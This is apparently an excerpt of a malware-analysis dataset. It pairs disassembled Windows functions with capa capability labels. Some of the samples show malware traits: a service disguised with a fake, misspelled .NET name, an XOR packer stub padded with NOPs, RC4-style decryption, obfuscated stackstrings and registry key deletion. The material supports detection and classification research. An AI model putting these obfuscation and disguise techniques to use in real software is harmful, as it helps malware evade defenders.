joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x21800ccb
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2c7709c6
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x403e00
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret
Function at 0x4018b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
pop ebp
ret

Function at 0x4018d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jb 0x40190b
mov eax, dword [ebp + 0xc]
push eax
call fcn.004018b0
add esp, 4
and eax, 0xff
test eax, eax
jne 0x401919
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov eax, dword [ebp + 0xc]
push eax
call fcn.004047a0
add esp, 4
push 0x42ea08
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401570
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401959
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
push 0x5c
mov eax, dword [ebp - 4]
push eax
call fcn.00402000
add esp, 8
mov byte [eax], 0
mov esp, ebp
pop ebp
ret

Function at 0x401960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 1
call dword [sym.imp.kernel32.dll_SleepEx]
push 1
push 1
call dword [sym.imp.kernel32.dll_SleepEx]
mov eax, dword [0x406070]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x406070]
mov dl, byte [ecx + 0xf]
mov byte [ebp - 4], dl
jmp 0x4019f3
call fcn.00401993
mov dword [ebp - 8], 0x5f8
jmp 0x4019b3
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x4019da
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x4019aa
push 0x5f8
mov eax, dword [0x406070]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.msvcrt.dll_memmove
add esp, 0xc
jmp 0x4019f5
jmp 0x40199c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402c47
Capabilities:
Terminate process

Disassembly:
mov ebp, esp
push 0xffffffffffffffff
push 0x401180
push 0x404b60
mov eax, dword fs:[0]
pop eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x42f984], 0xffffffff
or dword [0x42f988], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x42f974]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x42f970]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x42f98c], eax
call fcn.004026ba
cmp dword [0x42ec38], ebx
jne 0x402cc9
push 0x401f0b
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.004024ef
push 0x406048
push 0x406044
call sub.msvcrt.dll__initterm
mov eax, dword [0x42f96c]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [0x42f968]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
push 0x406040
push section.23ggfff
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x402d5c
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x402d30
cmp al, 0x22
jne 0x402d22
cmp byte [esi], 0x22
jne 0x402d39
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x402d43
cmp al, 0x20
jbe 0x402d35
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x402d67
movzx eax, word [ebp - 0x2c]
jmp 0x402d6a
cmp byte [esi], 0x20
jbe 0x402d39
inc esi
mov dword [ebp - 0x74], esi
jmp 0x402d5c
push 0xa
pop eax
pop eax
pop esi
pop ebx
pop ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret

Function at 0x403050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov ecx, 5
mov esi, 0x42e9bc
lea edi, [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x14], 0x52
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [0x42ece8]
push ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x42ed00], eax
push 0x42e9ac
call fcn.004047e0
add esp, 4
push eax
mov edx, dword [0x42ece8]
push edx
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x42ecf4], eax
mov dword [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x4e72454b
mov dword [ebp - 0x1c], 0x32336c65
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4039c0
Capabilities:
Delete registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push edi
mov byte [ebp - 0x240], 0
mov ecx, 0x8e
xor eax, eax
lea edi, [ebp - 0x23f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
jmp 0x4039ff
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401870
add esp, 4
mov edx, dword [ebp - 4]
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
test edx, edx
je 0x403b6d
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + 1]
test ecx, ecx
je 0x403b6d
mov edx, dword [ebp - 4]
push edx
call fcn.004047a0
add esp, 4
push 0
mov eax, dword [ebp - 4]
push eax
call fcn.00401870
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004026d0
add esp, 0xc
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0x5cf345ca
je 0x403a6d
cmp dword [ebp - 0x634], 0x642d3b30
je 0x403a6d
cmp dword [ebp - 0x634], 0x8a705f51
jne 0x403a72
jmp 0x4039e9
mov edx, dword [0x42e93c]
push edx
lea eax, [ebp - 0x240]
push eax
call fcn.00402560
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x240]
push edx
call fcn.00402510
add esp, 8
mov dword [ebp - 0x638], 0x3e8
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x62c]
push ecx
push 0
push 0x42eb68
lea edx, [ebp - 0x240]
push edx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0
jne 0x403ae0
jmp 0x4039e9
lea eax, [ebp - 0x240]
push eax
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 0x42f30c
push 0x120
push 0x42eb60
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00402040
add esp, 0x1c
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
je 0x403b68
mov edx, dword [ebp - 0x630]
push edx
call fcn.00403360
add esp, 4
and eax, 0xff
test eax, eax
je 0x403b44
mov al, 1
jmp 0x403b6f
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [ebp - 0x630]
push eax
call dword [0x42ecc0]
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.004024c0
add esp, 4
jmp 0x4039e9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x300069a9
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
jne 0x30006a83
mov eax, 0x94
call fcn.300080a0
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x30006a4c
mov ecx, dword [esi + 0x10]
mov dword [0x30055a28], ecx
mov eax, dword [esi + 4]
mov dword [0x30055a34], eax
mov edx, dword [esi + 8]
mov dword [0x30055a38], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x30055a2c], esi
je 0x30006a0e
or esi, 0x8000
mov dword [0x30055a2c], esi
shl eax, 8
add eax, edx
push 0
mov dword [0x30055a30], eax
call fcn.30006cc8
test eax, eax
pop ecx
je 0x30006a4c
call fcn.30008012
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x30058454], eax
call fcn.30007ef0
mov dword [0x300559e4], eax
call fcn.30007a4d
test eax, eax
jge 0x30006a50
call fcn.30006d19
xor eax, eax
jmp 0x30006a74
call fcn.30007e4e
test eax, eax
jl 0x30006a7c
call fcn.30007c1b
test eax, eax
jl 0x30006a7c
call fcn.30007906
test eax, eax
jne 0x30006a7c
inc dword [0x300559e0]
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc
call fcn.30007bf8
jmp 0x30006a47
xor eax, eax
cmp dword [ebp + 0xc], eax
jne 0x30006a71
cmp dword [0x300559e0], eax
jle 0x30006a4c
dec dword [0x300559e0]
cmp dword [0x30055a64], eax
jne 0x30006aa5
call fcn.30007a3e
call fcn.30007bf8
call fcn.30006d19
jmp 0x30006a71

Function at 0x3000796b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x30055a68], esi
push edi
jne 0x3000798b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x30055a64], esi
mov byte [0x30055a60], al
jne 0x300079f1
mov ecx, dword [0x30058428]
test ecx, ecx
je 0x300079d2
mov eax, dword [0x30058424]
sub eax, 4
cmp eax, ecx
jmp 0x300079cb
mov eax, dword [eax]
test eax, eax
je 0x300079bd
call eax
mov eax, dword [0x30058424]
sub eax, 4
cmp eax, dword [0x30058428]
mov dword [0x30058424], eax
jae 0x300079b5
mov eax, 0x30055020
mov esi, 0x30055024
cmp eax, esi
mov edi, eax
jae 0x300079f1
mov eax, dword [edi]
test eax, eax
je 0x300079ea
call eax
add edi, 4
cmp edi, esi
jb 0x300079e2
mov eax, 0x30055028
mov esi, 0x3005502c
cmp eax, esi
mov edi, eax
jae 0x30007a10
mov eax, dword [edi]
test eax, eax
je 0x30007a09
call eax
add edi, 4
cmp edi, esi
jb 0x30007a01
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x30007a2b
push dword [ebp + 8]
mov dword [0x30055a68], 1
call fcn.300078d6
pop ecx
pop ebp
ret
Function at 0x300080dd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x30055290]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x300550e0]
je 0x3000810a
inc eax
cmp eax, 0x12
jb 0x300080fb
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x300550e0]
jne 0x3000823e
mov eax, dword [0x300559ec]
cmp eax, 1
je 0x30008219
cmp eax, edx
jne 0x3000813a
cmp dword [0x300559f0], 1
je 0x30008219
cmp ecx, 0xfc
je 0x3000823e
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x30008173
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.30008790
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.30008890
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x300081b5
lea eax, [ebp - 0x10c]
push eax
call fcn.30008890
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x3004a580
push edi
call fcn.300091a0
add esp, 0x10
push edi
call fcn.30008890
push dword [esi + 0x300550e4]
mov ebx, eax
call fcn.30008890
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.300080a0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.30008790
push edi
push ebx
call fcn.300087a0
push 0x3004a560
push ebx
call fcn.300087a0
push dword [esi + 0x300550e4]
push ebx
call fcn.300087a0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.3000909c
add esp, 0x2c
jmp 0x3000823e
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x300550e4]
push dword [esi]
call fcn.30008890
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.300092f5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3000909c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x30055b88], ebx
push esi
push edi
jne 0x3000911c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x30009157
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x3004aa2c
push edi
call esi
test eax, eax
mov dword [0x30055b88], eax
je 0x30009157
push 0x3004aa1c
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x30055b8c], eax
call esi
cmp dword [0x30055a28], 2
mov dword [0x30055b90], eax
jne 0x3000911c
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x30055b98], eax
je 0x3000911c
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x30055b94], eax
mov eax, dword [0x30055b94]
test eax, eax
je 0x30009161
call eax
test eax, eax
je 0x30009148
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x30055b98]
test eax, eax
je 0x30009148
test byte [ebp - 8], 1
jne 0x30009161
cmp dword [0x30055a34], 4
jb 0x3000915b
or byte [ebp + 0x12], 0x20
jmp 0x30009180
xor eax, eax
jmp 0x30009190
or byte [ebp + 0x12], 4
jmp 0x30009180
mov eax, dword [0x30055b8c]
test eax, eax
je 0x30009180
call eax
mov ebx, eax
test ebx, ebx
je 0x30009180
mov eax, dword [0x30055b90]
test eax, eax
je 0x30009180
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x30055b88]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x30009588
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.300080a0
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x3000961d
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x30055a28]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x3000961d
cmp eax, 1
je 0x30009635
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x3000961d
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x300095f2
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x30009619
xor eax, eax
inc eax
jmp 0x30009651
cmp esi, ebx
jae 0x30009621
xor eax, eax
jmp 0x30009651
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x30055a28]
jmp 0x30009637
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3000f000
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x100
cmp eax, 1
jne 0x3000f0c7
mov eax, dword [esp + 0x104]
push 0x7f
lea ecx, [esp + 4]
push ecx
push eax
mov dword [0x3005845c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x3000f034
sub eax, edx
je 0x3000f051
nop
mov cl, byte [esp + eax]
cmp cl, 0x5c
je 0x3000f051
cmp cl, 0x3a
je 0x3000f051
dec eax
jne 0x3000f040
push 0x7f
lea edx, [esp + 0x84]
push edx
mov byte [esp + eax + 8], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 4]
push ecx
call fcn.30006560
add esp, 8
test eax, eax
je 0x3000f0a8
push 0x7f
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 4]
push ecx
call fcn.30006560
add esp, 8
test eax, eax
jne 0x3000f0c7
push 0x10
push str.Bink_Error
push str.The_BinkW32.DLL_file_is_installed_in_the_Windows_or_Windows_system_directory___it_must_be_installed_in_the_application_directory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add esp, 0x100
ret 0xc
mov eax, 1
add esp, 0x100
ret 0xc
Function at 0x30017c80
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter

Disassembly:
mov eax, dword [0x30065200]
sub esp, 8
push ebx
push esi
xor esi, esi
cmp eax, esi
push edi
je 0x30017ce3
push 0x30055f30
mov dword [0x30065200], esi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x30017ccb
push 0x30055f28
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [0x30055f24], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
pop esi
mov dword [0x30055f38], eax
xor eax, eax
pop ebx
add esp, 8
ret
mov dword [0x30055f30], esi
mov dword [0x30055f34], esi
pop edi
pop esi
pop ebx
add esp, 8
jmp dword [sym.imp.WINMM.dll_timeGetTime]
mov eax, dword [0x30055f30]
or eax, dword [0x30055f34]
je 0x30017cd7
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [esp + 0xc]
mov ebx, dword [0x30055f28]
mov ecx, dword [0x30055f2c]
mov edi, eax
mov eax, dword [esp + 0x10]
push esi
sub edx, ebx
push 0x3e8
sbb eax, ecx
push eax
push edx
call fcn.30009e90
mov ecx, dword [0x30055f34]
push ecx
mov ecx, dword [0x30055f30]
push ecx
push edx
push eax
call fcn.3000a1b0
mov ebx, dword [0x30055f38]
mov ecx, eax
add ecx, dword [0x30065204]
mov eax, edi
sub eax, ebx
mov ebx, dword [0x30055f24]
mov esi, eax
mov edx, ecx
sub edx, ebx
sub esi, edx
mov eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, 0xc8
jle 0x30017d73
add dword [0x30065204], esi
add ecx, esi
mov edx, ecx
sub edx, ebx
cmp edx, 0xc0000000
jbe 0x30017d88
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
mov dword [0x30055f38], edi
pop edi
pop esi
mov dword [0x30055f24], ecx
mov eax, ecx
pop ebx
add esp, 8
ret
Function at 0x3001b560
Capabilities:
Create thread

Disassembly:
push ebx
push edi
mov edi, eax
mov eax, dword [0x30058080]
test eax, eax
je 0x3001b584
push 0x64
call eax
mov ebx, eax
test ebx, ebx
je 0x3001b584
cmp ebx, 0xffffffff
je 0x3001b648
mov cl, 3
jmp 0x3001b59a
push 0x64
call fcn.30006997
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x3001b648
xor cl, cl
mov dl, bl
and dl, 0x1f
mov al, 0x40
sub al, dl
movzx edx, al
add ebx, edx
cmp cl, 3
mov byte [ebx - 1], al
mov byte [ebx - 2], cl
jne 0x3001b5bb
mov eax, dword [0x30058084]
mov dword [ebx - 8], eax
test edi, edi
push esi
jge 0x3001b5c9
neg edi
mov esi, 1
jmp 0x3001b5cb
xor esi, esi
mov eax, 0x3e8
cdq
idiv edi
lea ecx, [ebx + 0x10]
push ecx
push 4
push ebx
push 0x3001b4f0
push 0x3000
push 0
mov dword [ebx], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 1
mov dword [ebx + 0x20], 0
mov dword [ebx + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [ebx + 0xc], eax
pop esi
je 0x3001b61b
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x3001b64d
cmp byte [ebx - 2], 3
jne 0x3001b639
movzx edx, byte [ebx - 1]
mov eax, ebx
sub eax, edx
push eax
call dword [ebx - 8]
pop edi
xor eax, eax
pop ebx
ret
movzx ecx, byte [ebx - 1]
sub ebx, ecx
push ebx
call fcn.300068ed
add esp, 4
pop edi
xor eax, eax
pop ebx
ret
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0
mov dword [ebx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 8], eax
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x3001b710
Capabilities:
Resume thread

Disassembly:
mov eax, dword [esi + 8]
push edi
mov edi, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
sub eax, 0
mov dword [esi], 3
pop edi
je 0x3001b73b
sub eax, 2
jne 0x3001b745
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
ret
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
ret